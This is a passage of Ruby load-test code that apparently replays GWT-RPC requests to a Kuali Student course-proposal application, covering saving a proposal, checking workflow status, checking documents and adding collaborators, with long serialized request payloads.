\"|-432|-424|-426|-1|-422|8|133|17|5|6|7|0|0|-1|-442|8|134|14|135|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491257291|1309965025280|571000000|8|40|14|59|8|41|38|39|3491272236|1309965025280|516000000|8|42|14|111|-1|-448|8|136|10|-5|8|137|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|138|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-491|-493|-480|-489|-476|-478|-472|-474|8|97|14|139|8|30|14|140|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491272233|1309965025280|513000000|8|40|14|59|8|41|38|39|3491272236|1309965025280|516000000|8|42|14|100|-472|-503|-468|-470|-1|-466|8|141|10|-5|8|142|14|143|8|46|14|62|8|144|14|145|8|123|17|5|6|7|0|2|18|-15|14|146|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|147|-535|-537|-529|-533|-1|-527|8|148|14|149|8|48|14|150|8|120|17|5|6|7|0|2|18|-15|14|151|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|152|-555|-557|-549|-553|-1|-547|8|153|17|5|6|7|0|2|18|-15|14|87|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|91|-571|-573|-565|-569|-1|-563|8|154|17|5|6|7|0|0|-1|-579|8|155|17|5|6|7|0|3|8|156|38|39|3491257291|1309965025280|571000000|8|157|89|90|1|0|8|158|14|159|-1|-583|8|21|17|5|6|7|0|3|8|142|17|5|6|7|0|1|8|22|14|160|-597|-599|8|144|17|5|6|7|0|1|8|22|14|145|-597|-605|8|13|17|5|6|7|0|1|8|22|14|161|-597|-611|-1|-595|8|162|17|5|6|7|0|12|8|163|14|164|8|30|14|165|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491257553|1309965025280|833000000|8|40|14|59|8|41|38|39|3491273130|1309965025280|410000000|8|42|14|166|-619|-625|8|44|14|65|8|167|17|5|6|7|0|1|18|-15|14|128|-619|-643|8|168|14|169|8|170|17|5|6|7|0|0|-619|-651|8|171|17|5|6|7|0|0|-619|-655|8|172|14|173|8|46|14|174|8|48|14|175|8|176|14|177|-1|-617|8|178|17|5|6|7|0|1|8|179|17|5|6|7|0|0|-669|-671|-1|-667|0|0|\"\n end\n\n # Save & Continue\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}#{contents3}\"\n },\n {\n 'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:action_request_id_name], \"re\" => opts[:action_request_id_regexp]}\n ]\n }\n )\n \n #@request.add(\"DEBUG/affliated_orgs_id_name/%%_#{opts[:action_request_id_name]}%%\", {}, {'subst' => 'true'})\n \n \n @request.add_thinktime(2)\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/DocumentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5771428875B68D3E8EC7527EC8D18D40|org.kuali.student.core.document.ui.client.service.DocumentRpcService|isAuthorizedUploadDocuments|java.lang.String/2004016611|%%_#{opts[:proposal_dyn_var_name]}%%|referenceType.clu.proposal|1|2|3|4|2|5|5|6|7|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/DocumentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5771428875B68D3E8EC7527EC8D18D40|org.kuali.student.core.document.ui.client.service.DocumentRpcService|getRefDocIdsForRef|java.lang.String/2004016611|kuali.org.RefObjectType.ProposalInfo|%%_#{opts[:proposal_dyn_var_name]}%%|1|2|3|4|2|5|5|6|7|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n \n #\n # Support Documents\n # Nothing uploaded\n #\n\n @request.add_thinktime(5)\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/DocumentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5771428875B68D3E8EC7527EC8D18D40|org.kuali.student.core.document.ui.client.service.DocumentRpcService|getRefDocIdsForRef|java.lang.String/2004016611|kuali.org.RefObjectType.ProposalInfo|%%_#{opts[:proposal_dyn_var_name]}%%|1|2|3|4|2|5|5|6|7|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n\n if(!opts[:collaborator].nil?)\n contents1 = \"5|0|195|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|validate|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|3|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|%%_#{opts[:affliated_orgs_id_name]}%%|orgId|%%_#{opts[:admin_dep_var_name]}%%|percentage|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|#{admin_org}|fees|feeAmounts|currencyQuantity|currencyTypeKey|kuali.currency.type.usdollars.cents|feeType|kuali.enum.type.feeTypes.labFee|%%_#{opts[:lab_fee_id_name]}%%|2|rateType|fixedRateFee|Fixed Rate Fee|Laboratory Fee|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|10|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|4|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|6|pilotCourse|revenues|%%_#{opts[:revenues_id_name]}%%|REVENUE|%%_#{opts[:revenue_id_name]}%%|specialTopicsCourse|startTerm|kuali.atp.FA2008-2009|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|variations|versionInfo|currentVersionStart|sequenceNumber|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Fall Semester of 2008|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|8|#{opts[:proposal_title]}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators|action|F|actionRequestId|%%_#{opts[:action_request_id_name]}%%|actionRequestStatus|Active|author|canRevokeRequest|firstName|#{opts[:collaborator]}|lastName|permission|KS-SYS~Edit Document|principalId\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1864356667|1314259992576|243000000|8|40|14|59|8|41|38|39|1868678977|1314259992576|553000000|8|42|14|60|-79|-95|8|44|14|61|8|46|14|62|8|48|14|63|-37|-77|-33|-35|-1|-31|8|64|14|65|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|67|14|68|8|30|14|69|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1861297882|1314259992576|458000000|8|40|14|59|8|41|38|39|1861297882|1314259992576|458000000|8|42|14|43|-125|-131|8|70|17|5|6|7|0|1|18|-15|14|68|-125|-147|8|46|14|62|8|48|14|71|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|72|-159|-161|-125|-157|-121|-123|-1|-119|8|73|17|5|6|7|0|0|-1|-167|8|74|17|5|6|7|0|1|8|56|14|75|-1|-171|8|76|17|5|6|7|0|3|8|77|14|78|8|79|80|19|2|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|81|-188|-190|-179|-186|-1|-177|8|82|38|39|470887936|1219770712064|0|8|83|17|5|6|7|0|1|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|85|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-220|-222|-209|-218|-205|-207|-201|-203|-1|-199|8|92|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|93|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|94|80|19|100|8|95|14|96|-238|-240|-234|-236|8|97|14|98|8|30|14|99|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1867163501|1314259992576|77000000|8|40|14|59|8|41|38|39|1868678891|1314259992576|467000000|8|42|14|100|-234|-253|8|101|14|102|8|21|17|5|6|7|0|2|8|101|17|5|6|7|0|1|8|22|14|103|-273|-275|8|97|17|5|6|7|0|1|8|22|14|104|-273|-281|-234|-271|-230|-232|-1|-228|8|105|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|106|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|107|14|108|8|109|17|5|6|7|0|3|8|110|14|111|8|112|14|113|8|21|17|5|6|7|0|1|8|112|17|5|6|7|0|1|8|22|14|114|-315|-317|-307|-313|-301|-305|8|115|80|-246|8|76|17|5|6|7|0|3|8|77|14|116|8|79|80|19|13|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|117|-336|-338|-327|-334|-301|-325|8|30|14|118|8|34|17|5|6|7|0|5|8|35|14|59|8\"\n contents3 = \"|37|38|39|1861297868|1314259992576|444000000|8|40|14|59|8|41|38|39|1868678938|1314259992576|514000000|8|42|14|119|-301|-346|8|46|14|62|8|120|17|5|6|7|0|0|-301|-364|8|21|17|5|6|7|0|1|8|107|17|5|6|7|0|1|8|22|14|121|-370|-372|-301|-368|-297|-299|-293|-295|8|30|14|122|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1861297859|1314259992576|435000000|8|40|14|59|8|41|38|39|1868678932|1314259992576|508000000|8|42|14|119|-293|-380|8|46|14|62|8|123|17|5|6|7|0|0|-293|-398|8|48|14|124|-289|-291|-1|-287|8|125|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-412|-414|-406|-410|-1|-404|8|30|14|128|8|129|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|130|14|131|8|21|17|5|6|7|0|1|8|130|17|5|6|7|0|1|8|22|14|132|-434|-436|-428|-432|-424|-426|-1|-422|8|133|17|5|6|7|0|0|-1|-442|8|134|14|135|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1854995943|1314259992576|519000000|8|40|14|59|8|41|38|39|1868678891|1314259992576|467000000|8|42|14|136|-1|-448|8|137|10|-5|8|138|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|139|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-491|-493|-480|-489|-476|-478|-472|-474|8|97|14|140|8|30|14|141|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1867163501|1314259992576|77000000|8|40|14|59|8|41|38|39|1868678891|1314259992576|467000000|8|42|14|100|-472|-503|-468|-470|-1|-466|8|142|10|-5|8|143|14|144|8|46|14|62|8|145|14|146|8|123|17|5|6|7|0|2|18|-15|14|147|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|148|-535|-537|-529|-533|-1|-527|8|149|14|150|8|48|14|151|8|120|17|5|6|7|0|2|18|-15|14|152|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|153|-555|-557|-549|-553|-1|-547|8|154|17|5|6|7|0|2|18|-15|14|87|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|91|-571|-573|-565|-569|-1|-563|8|155|17|5|6|7|0|0|-1|-579|8|156|17|5|6|7|0|3|8|157|38|39|1854995943|1314259992576|519000000|8|158|89|90|1|0|8|159|14|160|-1|-583|8|21|17|5|6|7|0|3|8|143|17|5|6|7|0|1|8|22|14|161|-597|-599|8|145|17|5|6|7|0|1|8|22|14|146|-597|-605|8|13|17|5|6|7|0|1|8|22|14|162|-597|-611|-1|-595|8|163|17|5|6|7|0|12|8|164|14|165|8|30|14|166|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1854996146|1314259992576|722000000|8|40|14|59|8|41|38|39|1868679626|1314259992576|202000000|8|42|14|167|-619|-625|8|44|14|168|8|169|17|5|6|7|0|1|18|-15|14|128|-619|-643|8|170|14|171|8|172|17|5|6|7|0|0|-619|-651|8|173|17|5|6|7|0|0|-619|-655|8|174|14|175|8|46|14|176|8|48|14|177|8|178|14|179|-1|-617|8|180|17|5|6|7|0|1|8|181|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|182|14|183|8|184|14|185|8|186|14|187|8|188|10|-5|8|189|10|11|1|8|190|14|191|8|192|14|191|8|193|14|194|8|195|14|191|-673|-675|-669|-671|-1|-667|0|0|\"\n else\n #UPDATE\n contents1 = \"5|0|180|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|1ED48DA6F48F82765FE7B58378EA94E0|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|validate|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|3|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|%%_#{opts[:affliated_orgs_id_name]}%%|orgId|%%_#{opts[:admin_dep_var_name]}%%|percentage|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|#{admin_org}|fees|feeAmounts|currencyQuantity|currencyTypeKey|kuali.currency.type.usdollars.cents|feeType|kuali.enum.type.feeTypes.labFee|%%_#{opts[:lab_fee_id_name]}%%|2|rateType|fixedRateFee|Fixed Rate Fee|Laboratory Fee|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|5|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|4|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|6|pilotCourse|revenues|%%_#{opts[:revenues_id_name]}%%|REVENUE|%%_#{opts[:revenue_id_name]}%%|specialTopicsCourse|startTerm|kuali.atp.FA2008-2009|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|variations|versionInfo|currentVersionStart|sequenceNumber|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Fall Semester of 2008|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|8|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498783321|1309965025280|601000000|8|40|14|59|8|41|38|39|3498791687|1309965025280|967000000|8|42|14|60|-79|-95|8|44|14|61|8|46|14|62|8|48|14|63|-37|-77|-33|-35|-1|-31|8|64|14|65|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|67|14|68|8|30|14|69|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3479039543|1309965025280|823000000|8|40|14|59|8|41|38|39|3479039543|1309965025280|823000000|8|42|14|43|-125|-131|8|70|17|5|6|7|0|1|18|-15|14|68|-125|-147|8|46|14|62|8|48|14|71|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|72|-159|-161|-125|-157|-121|-123|-1|-119|8|73|17|5|6|7|0|0|-1|-167|8|74|17|5|6|7|0|1|8|56|14|75|-1|-171|8|76|17|5|6|7|0|3|8|77|14|78|8|79|80|19|2|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|81|-188|-190|-179|-186|-1|-177|8|82|38|39|470887936|1219770712064|0|8|83|17|5|6|7|0|1|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|85|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-220|-222|-209|-218|-205|-207|-201|-203|-1|-199|8|92|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|93|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|94|80|19|100|8|95|14|96|-238|-240|-234|-236|8|97|14|98|8|30|14|99|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498789104|1309965025280|384000000|8|40|14|59|8|41|38|39|3498791612|1309965025280|892000000|8|42|14|100|-234|-253|8|101|14|102|8|21|17|5|6|7|0|2|8|101|17|5|6|7|0|1|8|22|14|103|-273|-275|8|97|17|5|6|7|0|1|8|22|14|104|-273|-281|-234|-271|-230|-232|-1|-228|8|105|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|106|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|107|14|108|8|109|17|5|6|7|0|3|8|110|14|111|8|112|14|113|8|21|17|5|6|7|0|1|8|112|17|5|6|7|0|1|8|22|14|114|-315|-317|-307|-313|-301|-305|8|115|80|-246|8|76|17|5|6|7|0|3|8|77|14|116|8|79|80|19|13|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|117|-336|-338|-327|-334|-301|-325|8|30|14|118|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498779786|1309965025280|66000000|8|40|14|59|8|41|38|39|3498791652|1309965025280|932000000|8|42|14|119|-301|-346|8|46|14|62|8|120|17|5|6|7|0|0|-301|-364|8|21|17|5|6|7|0|1|8|107|17|5|6|7|0|1|8|22|14|121|-370|-372|-301|-368|-297|-299|-293|-295|8|30|14|122|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498779778|1309965025280|58000000|8|40|14|59|8|41|38|39|3498791646|1309965025280|926000000|8|42|14|119|-293|-380|8|46|14|62|8|123|17|5|6|7|0|0|-293|-398|8|48|14|124|-289|-291|-1|-287|8|125|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6\"\n contents3 = \"|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-412|-414|-406|-410|-1|-404|8|30|14|128|8|129|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|130|14|131|8|21|17|5|6|7|0|1|8|130|17|5|6|7|0|1|8|22|14|132|-434|-436|-428|-432|-424|-426|-1|-422|8|133|17|5|6|7|0|0|-1|-442|8|134|14|135|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498775348|1309965025280|628000000|8|40|14|59|8|41|38|39|3498791612|1309965025280|892000000|8|42|14|136|-1|-448|8|137|10|-5|8|138|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|139|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-491|-493|-480|-489|-476|-478|-472|-474|8|97|14|140|8|30|14|141|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498789104|1309965025280|384000000|8|40|14|59|8|41|38|39|3498791612|1309965025280|892000000|8|42|14|100|-472|-503|-468|-470|-1|-466|8|142|10|-5|8|143|14|144|8|46|14|62|8|145|14|146|8|123|17|5|6|7|0|2|18|-15|14|147|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|148|-535|-537|-529|-533|-1|-527|8|149|14|150|8|48|14|151|8|120|17|5|6|7|0|2|18|-15|14|152|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|153|-555|-557|-549|-553|-1|-547|8|154|17|5|6|7|0|2|18|-15|14|87|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|91|-571|-573|-565|-569|-1|-563|8|155|17|5|6|7|0|0|-1|-579|8|156|17|5|6|7|0|3|8|157|38|39|3498775348|1309965025280|628000000|8|158|89|90|1|0|8|159|14|160|-1|-583|8|21|17|5|6|7|0|3|8|143|17|5|6|7|0|1|8|22|14|161|-597|-599|8|145|17|5|6|7|0|1|8|22|14|146|-597|-605|8|13|17|5|6|7|0|1|8|22|14|162|-597|-611|-1|-595|8|163|17|5|6|7|0